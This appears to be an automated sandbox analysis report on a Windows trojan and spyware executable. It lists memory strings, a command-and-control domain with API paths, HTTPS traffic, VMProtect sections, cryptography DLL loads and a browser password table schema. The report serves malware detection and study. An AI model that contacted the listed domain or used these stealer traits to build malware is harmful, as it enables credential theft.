Source: Ag3ijL3z1w.exe, 00000000.00000003.1713273468.00000000030B7000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713220364.00000000030B9000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713354464.00000000030B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Ag3ijL3z1w.exe, 00000000.00000003.1872445317.0000000000B24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://relevantvoicelesskw.shop/
Source: Ag3ijL3z1w.exe, 00000000.00000003.1712139420.0000000000A94000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1744190634.0000000003089000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000002.1877392777.0000000003084000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1705274256.0000000000A94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://relevantvoicelesskw.shop/api
Source: Ag3ijL3z1w.exe, 00000000.00000003.1744935540.0000000003089000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1746473876.0000000003089000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1730645380.000000000308A000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1739179315.0000000003089000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1742531080.0000000003089000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1728879216.000000000308A000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1741194692.0000000003089000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1741869098.0000000003089000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1729089345.000000000308A000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1743172054.0000000003089000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1744190634.0000000003089000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://relevantvoicelesskw.shop/api0
Source: Ag3ijL3z1w.exe, 00000000.00000003.1771850830.0000000003089000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1765053909.0000000003089000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1764592696.0000000003089000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://relevantvoicelesskw.shop/api6
Source: Ag3ijL3z1w.exe, 00000000.00000002.1877392777.0000000003070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://relevantvoicelesskw.shop/apiA
Source: Ag3ijL3z1w.exe, 00000000.00000003.1764742560.000000000308C000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1765258902.000000000308D000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1764592696.0000000003089000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1765053909.000000000308D000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1741282403.000000000308D000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1746883165.000000000308E000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1739179315.000000000308D000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1741194692.000000000308D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://relevantvoicelesskw.shop/api~
Source: Ag3ijL3z1w.exe, 00000000.00000003.1705274256.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1712139420.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://relevantvoicelesskw.shop/b
Source: Ag3ijL3z1w.exe, 00000000.00000003.1872445317.0000000000B24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://relevantvoicelesskw.shop/l
Source: Ag3ijL3z1w.exe, 00000000.00000003.1872803431.0000000000B2C000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000002.1876372507.0000000000B2E000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1872445317.0000000000B24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://relevantvoicelesskw.shop/s
Source: Ag3ijL3z1w.exe, 00000000.00000002.1876372507.0000000000B27000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1872445317.0000000000B24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://relevantvoicelesskw.shop/~
Source: Ag3ijL3z1w.exe, 00000000.00000003.1720366524.000000000308C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://relevantvoicelesskw.shop:443/apiBE2NhtLOoTLNNgOkw
Source: Ag3ijL3z1w.exe	String found in binary or memory: https://sectigo.com/CPS0
Source: Ag3ijL3z1w.exe, 00000000.00000003.1712600543.00000000030CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: Ag3ijL3z1w.exe, 00000000.00000003.1713734255.00000000030A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsoft.
Source: Ag3ijL3z1w.exe, 00000000.00000003.1730708871.0000000003192000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Ag3ijL3z1w.exe, 00000000.00000003.1730708871.0000000003192000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Ag3ijL3z1w.exe, 00000000.00000003.1712662411.00000000030C5000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1712600543.00000000030CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Ag3ijL3z1w.exe, 00000000.00000003.1712662411.00000000030A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Ag3ijL3z1w.exe, 00000000.00000003.1712662411.00000000030C5000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1712600543.00000000030CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Ag3ijL3z1w.exe, 00000000.00000003.1712662411.00000000030A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: Ag3ijL3z1w.exe, 00000000.00000003.1705221839.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1712139420.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1712321938.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1705205037.0000000000B24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: Ag3ijL3z1w.exe, 00000000.00000003.1705221839.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1712139420.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1712321938.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1705205037.0000000000B24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: Ag3ijL3z1w.exe, 00000000.00000003.1713273468.00000000030B7000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713220364.00000000030B9000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713354464.00000000030B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Ag3ijL3z1w.exe, 00000000.00000003.1713273468.00000000030B7000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713220364.00000000030B9000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713354464.00000000030B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Ag3ijL3z1w.exe, 00000000.00000003.1730708871.0000000003192000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: Ag3ijL3z1w.exe, 00000000.00000003.1730708871.0000000003192000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: Ag3ijL3z1w.exe, 00000000.00000003.1730708871.0000000003192000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Ag3ijL3z1w.exe, 00000000.00000003.1730708871.0000000003192000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Ag3ijL3z1w.exe, 00000000.00000003.1730708871.0000000003192000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 172.67.147.173:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.173:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.173:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.173:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.173:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.173:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.173:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.173:443 -> 192.168.2.4:49739 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: Ag3ijL3z1w.exe	Static PE information: section name: .vmp$PH
Source: Ag3ijL3z1w.exe	Static PE information: section name: .vmp$PH
Source: Ag3ijL3z1w.exe	Static PE information: section name: .vmp$PH

Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_000820C1 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_000820C1
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00074280 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_00074280
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_000924B2 NtAllocateVirtualMemory,NtFreeVirtualMemory,NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_000924B2
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_000746B7 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_000746B7
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_000927AF NtOpenSection,	0_2_000927AF
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_000967D0 NtAllocateVirtualMemory,NtFreeVirtualMemory,NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_000967D0
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_000927F1 NtMapViewOfSection,	0_2_000927F1
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_0009286A NtClose,	0_2_0009286A
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00092987 NtAllocateVirtualMemory,NtFreeVirtualMemory,NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_00092987
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00078E50 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_00078E50
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00090F80 NtAllocateVirtualMemory,NtFreeVirtualMemory,NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_00090F80
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_0007541A NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_0007541A
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00095440 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_00095440
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00095640 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_00095640
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_000756F7 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_000756F7
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00095810 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_00095810
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_0007D860 NtAllocateVirtualMemory,NtFreeVirtualMemory,NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_0007D860
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00095940 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_00095940
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00095BD0 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_00095BD0
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00095D40 NtAllocateVirtualMemory,NtFreeVirtualMemory,NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_00095D40
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00096060 NtAllocateVirtualMemory,NtFreeVirtualMemory,NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_00096060
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00072277 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_00072277
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00096400 NtAllocateVirtualMemory,NtFreeVirtualMemory,NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_00096400
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00076492 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_00076492
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_0007C5F0 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_0007C5F0
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00072700 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_00072700
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_0007C765 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_0007C765
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_0007A762 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_0007A762
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00076790 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_00076790
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_0007A880 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_0007A880
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00092C52 NtFreeVirtualMemory,	0_2_00092C52
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00074D10 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_00074D10
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_0007EDB2 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_0007EDB2
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00080F04 NtAllocateVirtualMemory,NtFreeVirtualMemory,NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_00080F04
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_0007CF46 NtAllocateVirtualMemory,NtFreeVirtualMemory,NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_0007CF46
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_0008F1E0 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_0008F1E0
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00091220 NtAllocateVirtualMemory,NtFreeVirtualMemory,NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_00091220
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00077305 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_00077305
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_000914A0 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_000914A0
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00091600 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_00091600
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_0007960A NtAllocateVirtualMemory,NtFreeVirtualMemory,NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_0007960A
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00091710 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_00091710
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00091840 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_00091840
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00091950 NtAllocateVirtualMemory,NtAllocateVirtualMemory,NtFreeVirtualMemory,NtFreeVirtualMemory,NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_00091950
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00095AB0 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_00095AB0
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00079C41 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_00079C41
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00077C59 NtAllocateVirtualMemory,NtFreeVirtualMemory,	0_2_00077C59

Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00064640	0_2_00064640
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00083216	0_2_00083216
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_000812E2	0_2_000812E2
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_0007D860	0_2_0007D860
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00096060	0_2_00096060
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00082382	0_2_00082382
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00096400	0_2_00096400
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_000664F0	0_2_000664F0
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_0011A824	0_2_0011A824
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_000668B4	0_2_000668B4
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00086D8E	0_2_00086D8E
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00062E70	0_2_00062E70
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00080F04	0_2_00080F04
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_0007CF46	0_2_0007CF46
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00072F77	0_2_00072F77
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_0008EF80	0_2_0008EF80
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_0007F3FD	0_2_0007F3FD
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00065477	0_2_00065477
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_0007960A	0_2_0007960A
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00061700	0_2_00061700
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00065717	0_2_00065717
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00083216	0_2_00083216
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00073A27	0_2_00073A27
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00065A3C	0_2_00065A3C
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00077A8C	0_2_00077A8C
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00067B20	0_2_00067B20
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00079C41	0_2_00079C41
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00063C6F	0_2_00063C6F
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_002DDCD6	0_2_002DDCD6
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_0006FDB0	0_2_0006FDB0
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 0_2_00065F30	0_2_00065F30

Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: String function: 00068560 appears 44 times
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: String function: 0006FF60 appears 154 times

Source: Ag3ijL3z1w.exe

Static PE information: invalid certificate

Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Ag3ijL3z1w.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@3/1

Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Ag3ijL3z1w.exe, 00000000.00000003.1713273468.000000000307E000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1712772527.00000000030A4000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe

File read: C:\Users\user\Desktop\Ag3ijL3z1w.exe

Jump to behavior

Source: Ag3ijL3z1w.exe

Static file information: File size 2444904 > 1048576

Source: Ag3ijL3z1w.exe

Static PE information: Raw size of .vmp$PH is bigger than: 0x100000 < 0x24ae00

